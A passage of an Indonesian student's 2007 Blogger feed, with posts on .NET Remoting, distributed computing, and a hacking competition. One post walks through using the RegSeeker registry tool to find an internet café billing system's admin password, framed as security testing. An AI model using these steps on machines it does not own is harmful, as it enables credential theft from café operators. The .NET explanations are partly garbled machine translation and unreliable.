dehh silahkan akses and copy paste ke F-disk jika ga sempat bacainnya langsung di monitor ato terus print dehh :P !&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;Proxy Object ....?&lt;br /&gt;Ini di coba/kita ciptakan ketika objek klien aktif pada remote objek nya..&lt;br /&gt;Kita bisa memiliki 2 tipe untuk meremote objek i.e klien sasaran yang aktif atau sasaran server yg aktif.&lt;br /&gt;&lt;strong&gt;&lt;em&gt;Client Activated Object :&lt;/em&gt;&lt;/strong&gt; Client Activated Remote Object adalah satu dari pengontrol yang bersifat hidup oleh pbjek klien.&lt;br /&gt;Di sini satu kejadian sasaran tunggal asing yang akan ada objek per user.&lt;br /&gt;Objek yang dilakukan oleh user, ditimbulkan menggunakan keyword baru.&lt;br /&gt;Objek yang targetkan user yang bisa menyimpan informasi pada pusat bagian untuk seorang klien yang khas.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;Server Activated Object:&lt;/em&gt;&lt;/strong&gt; Berlawanan pada Client Activated Remote objects, Ketika server Activated Object di pegang dgn server .Sasaran ini diciptakan kalau sasaran user mengadakan metode di atas yang di wakili oleh sasaran.&lt;br /&gt;&lt;br /&gt;Ada dua macam Server Activated Objects i.e. :&lt;br /&gt;SingleCall dan Anak Tunggal.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;SingleCall: &lt;/em&gt;&lt;/strong&gt;ini&lt;strong&gt;&lt;em&gt; &lt;/em&gt;&lt;/strong&gt;melayani hanya satu permintaan user.&lt;br /&gt;Satu kali permintaan user selasai, Ini akan di sampaikan ke recycle collection.&lt;br /&gt;Ini tidak menyimpan informasi pada bagian pusat yang mana pun.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Singleton:&lt;/em&gt; Ini akan melayani klien yang berlipat ganda, thereby akan mengijinkan akses informasi serta membagikan antara permintaan/requets.&lt;br /&gt;Mereka ialah stateful sasaran tidak seperti SingleCall, yang tanpa pusat.&lt;br /&gt;&lt;br /&gt;Okey..kita akan uji terlebih dahulu..berharap anda tidak bakalan bingung yahh..!&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;//Creating a new instance of a remote object using new.&lt;/span&gt;&lt;br /&gt;Employee Emp = &lt;span style="color:#000099;"&gt;new&lt;/span&gt; Employee();&lt;br /&gt;&lt;span style="color:#009900;"&gt;//Creating a new instance of a remote object using CreateInstance.&lt;/span&gt;&lt;br /&gt;Employee Emp = (Employee)Activator.CreateInstance(...);&lt;br /&gt;&lt;br /&gt;Catatan : Pada metode diatas banyak kejadian pada sasaran yang lebih jauh lagi berdasarkan parameter yg di lewati. Untuk daftar yang lebih tntas silahkan mrujuk ke MSDN.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;//Retrieving an Existing Instance.&lt;/span&gt;&lt;br /&gt;Employee Emp = (Employee)Activator.GetObject( typeof(Employee), &lt;a href="http://[path/"&gt;http://[path/&lt;/a&gt;]);&lt;br /&gt;&lt;br /&gt;Untuk semua sebutan untuk remoet objek (at server side) adalah route yang mungkin pada proxy remote......&lt;br /&gt;--------------------------------------------------------------------------------------------&lt;br /&gt;All the calls to the remote object (at server side) are routed through proxy object. To make things little complicated, there are two types of proxy objects involved in the process i.e. Transparent proxy and Real proxy. Transparent proxy provides the implementation of all public method to Client object which means that client object always talks to Transparent proxy which in turn makes call to Real proxy. Real proxy passes the message to channel object. Developers can customize the Real proxy to include additional functionalities if required.&lt;br /&gt;--------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;pada sistem ini saya akan lebih baik menjelaskan dalam bahasa internasional dulu, biar pada ngerti nih anak yg satu ini [ Maksud nya anak IT yg pada sebel melulu bahasa indonesia pd komputer mereka, apalgi nih anak aleng (maksudnya Chinese yang agak janggal menggunakan Indonesia language.) Okehh saya serahkan dalam bahasa inggris aja yahh...&lt;br /&gt;seperti diatas atau niihh yg berikutnya .&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Formatters&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;They encode and decode the message between client application and Remote object. .Net Framework provides SOAP and Binary formatter. It also supports custom formatters (IRemotingFormatter) developed by programmers.&lt;br /&gt;&lt;br /&gt;Binary Formatter: System.Runtime.Serialization.Formatters.BinarySOAP Formatter: System.Runtime.Serialization.Formatters.Soap&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Channels &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;They are responsible for transmitting the message over the network. .Net Framework provides HTTPChannel and TCPChannel. It also supports custom channels (IChannel) developed by programmers.&lt;br /&gt;&lt;br /&gt;HTTPChannel: System.Runtime.remoting.Channels.&lt;br /&gt;HttpTCPChannel: System.Runtime.remoting.Channels.Tcp&lt;br /&gt;&lt;br /&gt;By default HTTP Channel uses SOAP Formatter and TCP Channel uses Binary Formatter.&lt;br /&gt;Channels need to be registered with the remoting service as shown below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#009900;"&gt;//Registering a channel&lt;/span&gt;&lt;br /&gt;ChannelServices.RegisterChannel();&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Hosting a Remoting Application&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Remoting Host is a runtime environment for the remote object i.e. Microsoft IIS Server.&lt;br /&gt;&lt;em&gt;Step By Step&lt;/em&gt;: Let's see the entire step once again.&lt;br /&gt;&gt; Client object registers a channel.&lt;br /&gt;&gt; Creation of Proxy object (Client activated or Server Activated)&lt;br /&gt;&gt; Calling the method of remote object via proxy.&lt;br /&gt;&gt; Client side formatter formats the message and transmits via appropriate channel.&lt;br /&gt;&gt; Server side formatter reformats the message.&lt;br /&gt;&gt; The specified function on remote object is executed and the result is returned.&lt;br /&gt;&gt; Above process of formatting and reformatting is reversed and the result is returned to client object.&lt;br /&gt;Kira² artikel diatas adalah suatu alasan mendasar (the basic terms and technology involved in .Net Remoting) untuk sistem remoting. Penegembang dapat mencipatakan dari beberapa aturan cahnnel dan Formatters yang dibutuhkan disaat urusan yg mendesak.&lt;br /&gt;There is no built in security provided by .Net Remoting framework. The security features need to be provided by the hosting environment. Okey..kira² dahh pada jelas semua kan...nihh gua dah capekk habis ini mo main PS lagi dehh di kos ma teman² taruhan main cup pulak lagi yahh capek dehh cuman capuccino doankk... Thx... doain lagi semoga masih banyak artikel dan ide² yg muncul dari nihh brain gua..heheheh//sok bangat sihh loe,,&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-5122992160443105711?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/5122992160443105711/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=5122992160443105711&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5122992160443105711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5122992160443105711'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/07/proxy-object.html' title=': Proxy Object :'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_RREiKWjI3bo/RpeiXnMhnmI/AAAAAAAAAAs/SyW1Zj8-fvk/s72-c/CSC.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-5057747615062472233</id><published>2007-07-10T21:42:00.000+07:00</published><updated>2007-07-10T22:31:13.286+07:00</updated><title type='text'>- REMOTE OBJECT -</title><content type='html'>Okey  kali ini saya akan membahas sedikit tentang remote objek..kebetulan saya memiliki sedikit file sayja untuk di upload pada blog ini bagi kamu² yang suka jeljahi blog dengan fungsi yg pasti..anda pikirkan dan tentukan apa manfaatnya sendiri la yauuu...hihihi :P&lt;br /&gt;    Remote Object [Located at server side] adalah berasal dari suatu sistem.&lt;br /&gt;MarshalByRefObject kelas  yang menyediakan keperluan functionality karena berhubungan dengan object yang berebeda DGN AppDomain.&lt;br /&gt;Objek yang ada  perlu ditransfer ke across appDomains mesti dilewati oleh  nilai dan sebaiknya diimplementasikan ISerializable interface.&lt;br /&gt;sebuah objek yang tidak diimplementasikan ISerializable interface tidak dapat di transmisikan pada across appDomains.&lt;br /&gt;&lt;br /&gt;Contoh :&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;namespace&lt;/span&gt; Employee&lt;br /&gt;{&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;public class&lt;/span&gt; Employee: MarshalByRefObject&lt;br /&gt;{&lt;br /&gt;&lt;span style="color:#009900;"&gt;//Constructor&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#3333ff;"&gt;public &lt;/span&gt;Employee&lt;br /&gt;{&lt;br /&gt;&lt;span style="color:#009900;"&gt;// Implementation details&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;&lt;span style="color:#009900;"&gt;//Other functions will come here&lt;/span&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Yahh..cukup itu saja dolo yg saya bahas,kebetulan saya kepepet dan capek sehabis dari camping dan daki gunung sibayak ..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-5057747615062472233?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/5057747615062472233/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=5057747615062472233&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5057747615062472233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/5057747615062472233'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/07/remote-object.html' title='- REMOTE OBJECT -'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-2005256365356265457</id><published>2007-07-06T16:42:00.000+07:00</published><updated>2007-07-06T16:56:51.366+07:00</updated><title type='text'>Distributed computing</title><content type='html'>Hacking and Cracking is Different...So॥Please your thinking about them..!!&lt;br /&gt;&lt;br /&gt;Distributed computing telah menjadi sebuah identitas aplikasi perangkat lunak pada generasi yang ada saat ini। Pada masa lampau, pengembangan yang menggunakan teknologi seperti DCOM (Distributed Computing Obyek Model) dengan Microsoft, CORBA yaitu Arsitektur Perantara akan Permintaan Obyek Umum dengan OMG serta Java RMI dengan Sun untuk tujuan yang sama. Microsoft.Net Remoted adalah suatu rangkain yang di perluas yang di sediakan oleh Microsoft.Net yang memungkinkan komunikasi pada bagian aplikasi jaringan.&lt;br /&gt;Pada bagian-bagian distributed computing dapat kita kondisikan sebagai bagian dari aplikasi pembagian dari komputasi dalam sistem operasi.&lt;br /&gt;Hal ini merupakan proses pembagian komputasi dari komputer untuk bagian aplikasi yang digunakan dalam sistem operasi komputer saat ini। Berikut ini kita dapat mengaplikasikan serta mengimplementasikan dari distributed computing pada beberapa aplikasi dari penyedia aplikasi semisal Sun microsistem dll.&lt;br /&gt;&lt;div align="center"&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;Teknologi Distributed Computing Pada Industri Perangkat Lunak&lt;/span&gt;&lt;/strong&gt; &lt;/div&gt;&lt;br /&gt;Didalam dunia komputasi, komponen-komponen yang menyusun suatu sistem terdiri dari tiga unsur yaitu unsur perangkat keras (hardware), unsur perangkat lunak (software) dan unsur jasa (services). Untuk lebih jelasnya berikut ini adalah definisi-definisi dari komponen sistem komputasi:&lt;br /&gt;Perangkat Keras (Hardware), adalah kumpulan peralatan yang saling berhubungan satu sama lain. Peralatan ini berupa CPU, disks, tapes, modem, cables, dan lainnya. Perangkat keras ini dirancang khusus untuk mengikuti perintah/instruksi yang diberikan kepadanya. Dalam pengoperasiannya, sebuah komputer terdiri dari perangkat keras dan perangkat lunak. Keduanya saling berketergantungan. Pada dasarnya, perkembangan perangkat keras erat hubungannya dengan perkembangan arsitektur yang ada. Kini arsitektur yang ada dapat digolongkan menjadi dua, yakni arsitektur CICS - Complex Instruction Set Computers (x86 Intel prosesor) dan RISC - Reduced Instruction Set Computers (Alpha, Power PC, dan Mips prosesor).&lt;br /&gt;Perangkat Lunak (Software), adalah sekumpulan program yang dilengkapi dengan dokumentasi yang berhubungan secara langsung ke komputer, yang digunakan untuk menjalankan fungsi-fungsi yang diinginkan. Singkatnya, perangkat lunak adalah kumpulan instruksi-instruksi untuk sebuah komputer. Misalnya, perangkat lunak untuk manajemen data, inventorisasi, ataupun untuk pembuatan dokumentasi. Pengembangan perangkat lunak disini erat hubungan dengan perkembangan sistem operasi dan aplikasi yang dijalankan diatasnya. Berdasarkan data dari Dataquest, proyeksi sistem operasi yang akan mendominasi pasar tahun 2000 nantinya dapat digolongkan menjadi tiga, yakni Microsoft Windows NT sebesar 40 persen, UNIX (misalnya: DIGITAL UNIX, HP-UX, IBM AIX, Sun SOLARIS, dan lainnya) sebesar 40 persen, dan Proprietary (misalnya: DIGITAL OpenVMS, IBM OS/400, SGI IRIX, dan lainnya) sebesar 20 persen, serta 90 persen menggunakan sistem gabungan dari ketiga katagori yang disebutkan tadi.&lt;br /&gt;Jasa/Layanan (Services), adalah sekumpulan aktivitas/pelayanan dalam rangka untuk memberikan nilai tambah dalam hubungan suatu proses bisnis (jual/beli)। Baik itu berhubungan dengan produk yang dijual (perangkat keras dan/atau perangkat lunak) maupun pelayanan yang berupa konsultasi.&lt;br /&gt;&lt;div align="center"&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="font-family:trebuchet ms;color:#000000;"&gt;Perkembangan Gaya Komputasi (Computing Style)&lt;/span&gt;&lt;/strong&gt; &lt;/div&gt;&lt;br /&gt;Dengan berkembangnya penggunaan sistem komputasi, berkembang pula masing-masing unsur dari penyusunnya dengan karakteristik perkembangan yang unik untuk masing-masing unsur tersebut pada suatu masa tertentu। Karakteristik yang unik dari perkembangan ini menyangkut porsi dari masing-masing unsur dalam membentuk suatu sistem komputasi, dan juga cara berinteraksi antar ketiga unsur tersebut. Hal ini dikenal sebagai gaya komputasi (computing style). Computing Style sendiri didefinisikan sebagai perkembangan gaya-gaya komputasi yang terjadi pada suatu masa tertentu. Berdasarkan analisis yang dilakukan oleh Gartner Group, gaya-gaya komputasi terbagi menjadi Punch-Card Computing, Mainframe/Midrange Computing, Client/Server), dan Internet/Network Computing. Secara skematis gaya-gaya tersebut dapat dilihat pada gambar dibawah ini, dengan pembagian waktu selang satu dekade dan dipetakan berdasarkan tingkat kompleksitas dari sistem. Mengacu pada gambar diatas terlihat bahwa perkembangan teknologi informasi mengarah kepada sistem enterprise dengan kompleksitas yang semakin tinggi. Network computing akan menjadi platform baru untuk aplikasi-aplikasi teknologi informasi sedangkan internet dan intranet menjadi tulang punggung utama untuk menggabungkan beberapa jaringan lokal menjadi suatu jaringan yang secara virtual berbentuk enterprise. Banyak cara dalam memilah-milah perangkat lunak yang ada sekarang ini. Salah satu caranya, pendekatan yang digunakan dan cukup obyektif yakni dengan membaginya ke dalam tiga katagori utama, yaitu Operating System (Sistem Operasi), Database (Basis data), Middleware, dan Application (Aplikasi).&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000000;"&gt;Sistem Operasi&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Sistem operasi merupakan bagian dari perangkat lunak yang berfungsi sebagai penghubung antara komponen hardware (perangkat keras) dengan aplikasi yang dijalankan diatasnya. Sistem operasi mengelola akses dari program-program ke memori utama, unit logika aritmatikan, dan bagian-bagian lain dari perangkat keras. Dengan berkembangnya teknologi informasi, maka berkembang pula sistem operasi suatu sistem komputasi. Perkembangan sistem operasi banyak dipengaruhi oleh perkembangan perangkat keras terutama kemampuan dari prosesor. Oleh karena itu terdapat beberapa pengelompokan sistem operasi berdasarkan lebar bit data yang bisa ditangani oleh prosesor, mulai dari sistem operasi yang berskala 8-bit, lalu 16-bit, kemudian 32-bit seperti Microsoft Windows NT, IBM OS/400, Sun Solaris, hingga kini yang berskala 64-bit seperti DIGITAL UNIX, Open VMS, IBM AIX for RS/6000, SGI IRIX, dan HP-UX.&lt;br /&gt;Dengan mengacu pada karakteristik dari sistem operasi yang ditinjau dari beberapa sudut pandang, maka dapat dibuat berberapa klasifikasi yang lain . Klasifikasi-klasifikasi tersebut dipaparkan sebagai berikut:&lt;br /&gt;Klasifikasi sistem operasi berdasarkan End-User Interface:&lt;br /&gt;Command Driven: seluruh perintah pada sistem operasi diketikkan pada prompt perintah atau dieksekusi melalui script file (misal: DOS, UNIX atau XENIX)&lt;br /&gt;Graphical User Interface (GUI): pengguna akhir menggunakan mouse atau alat penunjuk yang lain untuk memilih obyek yang mewakili suatu instruksi spesifik (misal: Windows 95, IBM -OS/2, MAC-OS)&lt;br /&gt;Klasifikasi sistem operasi berdasarkan Pengguna:&lt;br /&gt;Single-User Single-Tasking: Sistem operasi yang hanya mampu untuk melayani satu pengguna sekali waktu untuk satu instruksi dalam suatu siklus proses (misal MS-DOS)&lt;br /&gt;Single-User Multi-Tasking: Sistem operasi yang hanya mampu untuk melayani satu pengguna sekali waktu dan mampu untuk mengeksekusi beberapa instruksi dalam satu waktu siklus proses (misal Windows 95, IBM -OS/2, MAC-OS).&lt;br /&gt;Multi-User Multi-Tasking: Sistem operasi yang mampu untuk melayani beberapa pengguna sekaligus dalam satu waktu dan juga mampu untuk menjalankan beberapa instruksi sekaligus dalam suatu siklus proses.&lt;br /&gt;Klasifikasi sistem operasi berdasarkan pangsa pasar:&lt;br /&gt;Sistem operasi server/network, seperti Windows NT Server, IBM AIX for RS/6000, DIGITAL UNIX, Open VMS, HP-UX, Sun Solaris, dan IBM OS/400.&lt;br /&gt;Sistem operasi desktop, seperti Windows 95/ Windows NT Workstation, OS/2 Wrap, MacOS, Java.&lt;br /&gt;Sistem operasi Handheld, seperti Windows CE, GEOS, Magic Cap.&lt;br /&gt;Pangsa pasar sistem perangkat lunak saat ini didominasi oleh tiga platform yaitu Windows NT, UNIX dan Netware. Diantara ketiga platform sistem operasi tersebut, Windows NT memiliki pertumbuhan yang paling pesat dan menguasai pangsa pasar yang tinggi. Grafik berikut memperlihatkan jumlah sistem operasi server dari ketiga platform.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-2005256365356265457?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/2005256365356265457/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=2005256365356265457&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/2005256365356265457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/2005256365356265457'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/07/distributed.html' title='Distributed computing'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-2524431251758296294</id><published>2007-06-25T17:55:00.000+07:00</published><updated>2007-07-06T17:26:59.920+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kompetisi Semata'/><title type='text'></title><content type='html'>&lt;a href="http://bp2.blogger.com/_RREiKWjI3bo/Ro4YvARC3WI/AAAAAAAAAAU/AyPifp8wFkk/s1600-h/PANHAC-260607+(7).JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5084028225152277858" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; CURSOR: hand" alt="" src="http://bp2.blogger.com/_RREiKWjI3bo/Ro4YvARC3WI/AAAAAAAAAAU/AyPifp8wFkk/s320/PANHAC-260607+(7).JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;Hacking and Cracking is Different...So..Please your thinking about them..!!&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;AKhirnya .....sebelum tanggal terakhir pendaftaran Panhac 2007 pada tgl 26 Juni 07. Tidak nyangka kalo dosen dari mantan sang pemenang panhac 2006 se-indonesia tahun lalu membuat mahasiswa termasuk saya bangga terhadapnya . Sebelum saya menyerahkan formulir pendaftaran akhir nya panitia panhac 2007 di wakili dari sumatra itu menarik sebagian dari kami agar tida perlu daftar secara cash ...! dosen di bidang jaringan ini tentu saya banggai ketika di saat ujian praktek minggu lalu dia memberi saran terlebih dahulu bagaimana agar ujian itu sukses...So pasti dosen yang lebih dekat dengan anak SI &amp;amp; TI ini lebih mempercayai anak jurusan MI [ Informatics Management ] sebagai perekrut sang juara nanti walau sebagai pemenang harapan yang penting ada mewakili dari kampus kita². Setelah mulai ujian UAS minggu lalu , saya tidak ada harapan itu ikut kompetisi ini karena saya sedang terfokus dalam ujian so..walau di wakili dengan menyerahkan tiket gratis sebanyak 60 lembar bagi para anak marvel technology..saya masih mempersiap kan untuk fokus ke ujian...dan sedikit ke Semester pendek ini ...wahh bisa gawat waktunya...&lt;br /&gt;Harapan saya dari para teman² dan rekan rekan agar bisa menguasai kompetisi nanti untuk salah satu peserta yang bertanggung jawab...... Saya hanya sadar untuk sebagai peserta karena ilmu tentang jaringan masih di bawah rata² 25% yang terserap..dan sedikit belajar juga dari tentang ilmu² jarkom.&lt;br /&gt;Iyahh..semoga harapan dari semua itu bisa sukses untuk lebih maju lagi....&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-2524431251758296294?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/2524431251758296294/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=2524431251758296294&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/2524431251758296294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/2524431251758296294'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/hacking-and-cracking-is-different.html' title=''/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_RREiKWjI3bo/Ro4YvARC3WI/AAAAAAAAAAU/AyPifp8wFkk/s72-c/PANHAC-260607+(7).JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-2819059839224928774</id><published>2007-06-24T00:49:00.000+07:00</published><updated>2007-06-24T02:01:03.617+07:00</updated><title type='text'>Meng Hack egedit suatu Program Lewat bantuan aplikasi</title><content type='html'>Hacking and Cracking is Different...So..Please your thinking about them..!!&lt;br /&gt;&lt;br /&gt;Semua orang yang benar-benar menyadari apa itu ilmu teknologi? sekarang dari segi dan sisi pemikiran kita, Bahwa Segala yang di buat oleh manusia itu sendiri adalah mutlak dan setiap ciptaan dan karya/kreasi manusia pasti ada jalan keluar, kunci, bocoran rahasia, jawaban, damn sistem masing². Contohnya..Ilmu komputer atau yang mengarah dalam program teknologi pasti ada langkah jawaban yang di buat manusia itu sendiri walaupun yang lainnya dapat dikatakan menyontek dari para ahli lainnya maka disini kita berhak mendapat kan ilmu masing² tanpa ada larangan atau atas dasar hukum yang berlaku karena yang kita perbuat adalah suatu pe;ajaran untuk hak dan pribadi masing..tapi ada salahnya jika seseorang itu mencoba untuk kejahatan yang tiada batas..maka bagi anda yang butuh ilmu tanpa bantuan orang lain...silahkan anda coba² utak-atik program apa saja yang di buat manusia dan lihat isi dalamnya namun jangan keterlaluan yahh...ini kita masih pake proses hukum jika kita tidak adil sama sekali..jaga privasi masing².&lt;br /&gt;Contoh berikut yang saya dasarkan untuk percobaan adalah dengan sebuah bantuan software yang di kreasikan kusus pembersih sistem operasi -registry-. namun dari lain pihak pemikiran kita bahwa program ini dapat di alihkan dengan cara kerja lain lagi.&lt;br /&gt; saya akan letakkan sebuah sample di blog ini....&lt;br /&gt; - Download -regseeker- [gunakan google tuk menemukan tool ini..!]&lt;br /&gt; - Targetkan apa yang anda harus butuhkan untuk bahan praktek uji coba.&lt;br /&gt; - Sediakan juga tools untuk membuka regedit yg di disable oleh administrator.&lt;br /&gt; &gt;&gt;&gt; KebetulaN saya lagi bermain di Warnet, saya ingin tahu password admin dari login billing Warnet tersebut.Kalo ga salah nama billing warnet nya di setiap klien yg terhubung dr server menggunakan Billingexplorer dari penyedia &lt;a href="http://www.billingexplorer.com/"&gt;www.billingexplorer.com&lt;/a&gt; ....disini saya bukan berniat ingin merusak atau main gratis dengan bebas dgn menggunakan password admin ,sekali lagi saya hanya menguji dari kemanan setiap alur program.&lt;br /&gt;okey..buka atau Unzipkan aplikasi regseeker [jika di Winzip] dan pilih Regseeker.exe lakukan klik meng klik..sekarang silahkan checklist atau tidak pada "Backup Before deletion] tergantung kerelaan anda tentunya. disamping itu terdapat list perintah regseeker...&lt;br /&gt;silahkan klik "Find In Registry..."&lt;br /&gt;     Checklist semua pada sisi- pada key__________ dan Search Options___________&lt;br /&gt;&lt;br /&gt;             Checklist box sbg berikut   :  ↨ HKEY_CLASSES_ROOT&lt;br /&gt;                                                                ↨ HKEY_CURRENT_USERS&lt;br /&gt;                                                                ↨ HKEY_LOCAL_MACHINE&lt;br /&gt;                                                                ↨ HKEY_USERS&lt;br /&gt;                                                                ↨ HKEY_CURRENT_CONFIG&lt;br /&gt;&lt;br /&gt;                                                    Search Options___________&lt;br /&gt;&lt;br /&gt;                                                                ↨ Keys                             ↨ Group similiar keys&lt;br /&gt;                                                                ↨ Values&lt;br /&gt;                                                                ↨ Data&lt;br /&gt;&lt;br /&gt;Seyelah anda lakukan sekarang laksanakan dengan perintah pencarian yang anda inginkan pada box  "Search for : [_________] misalnya saya mencari dengan kata kunci ="client008"= adalah kata kunci untuk mencari tata letak blling / password admin di registry tersebut untuk dideklarasikan oleh kita.&lt;br /&gt;&gt;&gt;&gt; Sekarang tekan button perintah "Search !"&lt;br /&gt; silahkan kita tunggu sesaat....&lt;br /&gt;setelah pencarian selesai..anda boleh ambil logika nya saja untuk tata letak segala keberadaan isi sistem perintah segala billing explorer tadi. Gunkan aja logika anda untuk mencari file tersebut dengan menentukan tata letak dari hasil pencarian yang kita inginkan , misalnya seperti lokasi yang saya temukan  banyak sekali perintah untuk menelusuri sisi registry yang saya dapat kan menggunakan regseeker tadi..sekarang anda boleh mencobanya.....!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-2819059839224928774?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/2819059839224928774/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=2819059839224928774&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/2819059839224928774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/2819059839224928774'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/06/meng-hack-egedit-suatu-program-lewat.html' title='Meng Hack egedit suatu Program Lewat bantuan aplikasi'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-6930087889196394298</id><published>2007-06-23T16:46:00.000+07:00</published><updated>2007-06-23T16:49:02.831+07:00</updated><title type='text'>INDOSAT WIRELESS INNOVATION CONTEST (IWIC) 2007</title><content type='html'>&lt;div 